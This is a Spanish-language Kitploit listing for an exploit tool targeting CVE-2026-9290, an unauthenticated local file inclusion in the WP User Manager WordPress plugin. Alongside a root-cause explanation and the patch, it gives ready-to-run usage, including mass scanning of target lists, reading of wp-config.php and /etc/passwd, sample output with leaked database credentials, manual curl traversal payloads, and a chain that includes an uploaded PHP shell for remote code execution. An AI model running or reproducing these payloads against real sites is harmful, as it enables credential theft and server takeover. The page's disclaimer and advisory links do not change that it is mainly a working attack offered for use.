Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-9290 — Inclusión de archivos locales sin autenticación en WP User Manager <= 2.9.17 mediante path traversal en el parámetro tab (CVSS 7.5) | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-9290
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y Educación
GitHubshinthink/cve-2026-9290

CVE-2026-9290

Inclusión de archivos locales sin autenticación en WP User Manager <= 2.9.17 mediante path traversal en el parámetro tab (CVSS 7.5)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-9290 — Exploit de LFI a RCE en WP User Manager

Path Traversal sin autenticación a través del parámetro 'tab' → Inclusión Local de Archivos (LFI)


Resumen

CVE-2026-9290 es una vulnerabilidad de Inclusión Local de Archivos (LFI) sin autenticación, de severidad alta (CVSS 7.5), en el plugin de WordPress WP User Manager – User Profile Builder & Membership (≤ 2.9.17).

La función wpum_get_active_profile_tab() pasa el parámetro de consulta tab directamente al cargador de plantillas de Gamajo sin validación de lista blanca. Las secuencias de path traversal en el valor de tab permiten a atacantes no autenticados incluir archivos arbitrarios del servidor mediante el include() de PHP.

Versiones afectadas

Versión de WP User ManagerEstado
≤ 2.9.17Vulnerable
≥ 2.9.18Corregida

Mecanismo de la vulnerabilidad

Causa raíz

En includes/functions.php, la función wpum_get_active_profile_tab() toma el parámetro de consulta tab sin validación de lista blanca:

root@kitploit:~
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);

El valor se pasa a Gamajo_Template_Loader::get_template_part(), que resuelve e incluye el archivo de plantilla:

root@kitploit:~
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');

sanitize_text_field() NO elimina las secuencias de path traversal. ../../../wp-config pasa sin filtrarse.

Flujo del ataque

root@kitploit:~
GET /profile/?tab=../../../wp-config
  → wpum_get_active_profile_tab('../../../wp-config')
  → Gamajo_Template_Loader::include('../../../wp-config.php')
  → wp-config.php included → DB credentials exposed

Archivos clave

Parche (2.9.18)

El PR #445 añade validación de lista blanca:

root@kitploit:~
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
    $tab = 'profile'; // fallback to default
}

Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt

Uso

root@kitploit:~
# Single target — LFI probe
python cve_2026_9290.py -t target.com

# Mass scan
python cve_2026_9290.py -f targets.txt -v

# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"

# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt

Argumentos

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  --read PATH       Read a specific file via LFI
  -o, --output      Save results to file
  --threads         Workers (default: 25)
  -v, --verbose     Show detailed output

Prueba de concepto

Detección y LFI

root@kitploit:~
$ python cve_2026_9290.py -t target.com -v
root@kitploit:~
  CVE-2026-9290 — WP User Manager LFI → RCE Exploit
  CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter

    [+] WP User Manager detected
    [+] Profile page: /profile/
    [+] LFI confirmed: wp-config.php (DB credentials)
    [+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');

  Host     : target.com
  WPUM     : YES
  LFI      : YES
  File     : wp-config.php (DB credentials)
  Time     : 3.2s

Escaneo masivo

root@kitploit:~
  [LFI]     target-1.com        3.2s  wp-config.php (DB credentials)
            define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
  [LFI]     target-2.com        4.1s  wp-config.php (DB credentials)
            define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
  [200/5458] 3%  |  WPUM:12  LFI:5  |  current-target.com

Explotación manual

Paso 1 — Detectar WP User Manager

root@kitploit:~
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3

Paso 2 — Encontrar la página de perfil

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'

Paso 3 — LFI a través del parámetro tab

root@kitploit:~
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'

# Read /etc/passwd  
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'

# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'

Cadena de RCE

root@kitploit:~
1. LFI → read wp-config.php → get DB credentials
2. Upload PHP shell via another plugin/media endpoint
3. LFI → include uploaded shell → RCE

Descargo de responsabilidad

SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.

Este software está destinado a profesionales de la seguridad que realizan pruebas de penetración autorizadas, organizaciones que auditan su propia infraestructura e investigadores que estudian la explotación de vulnerabilidades.

El acceso no autorizado a sistemas informáticos es ilegal y puede violar:

  • Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonesia: UU ITE Pasal 30 & 46
  • Unión Europea: Directiva 2013/40/UE
  • Reino Unido: Computer Misuse Act 1990

Los autores no asumen ninguna responsabilidad por el mal uso.


Referencias


Este proyecto no está afiliado con WP User Manager ni Carbon Fields.

Descargar herramienta
ArchivoLíneaFunción
includes/functions.php#L955wpum_get_active_profile_tab() — sin lista blanca
templates/profile.php#L52Alcance de la plantilla de perfil
class-gamajo-template-loader.php#L226include() sin sanitizar
Recurso
Enlace
Aviso de GitHubGHSA-83v9-496w-54wx
Aviso de Wordfencewordfence.com
PR del parcheGitHub #445
Análisis de IONIXionix.io